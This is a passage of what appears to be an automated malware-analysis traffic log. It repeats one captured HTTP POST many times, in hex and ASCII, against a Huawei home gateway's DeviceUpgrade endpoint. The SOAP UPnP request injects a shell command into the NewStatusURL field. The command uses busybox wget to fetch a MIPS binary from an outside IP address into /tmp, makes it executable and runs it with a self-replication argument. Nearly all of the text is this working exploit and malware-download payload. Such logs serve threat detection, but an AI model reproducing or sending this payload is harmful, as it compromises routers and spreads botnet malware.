73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 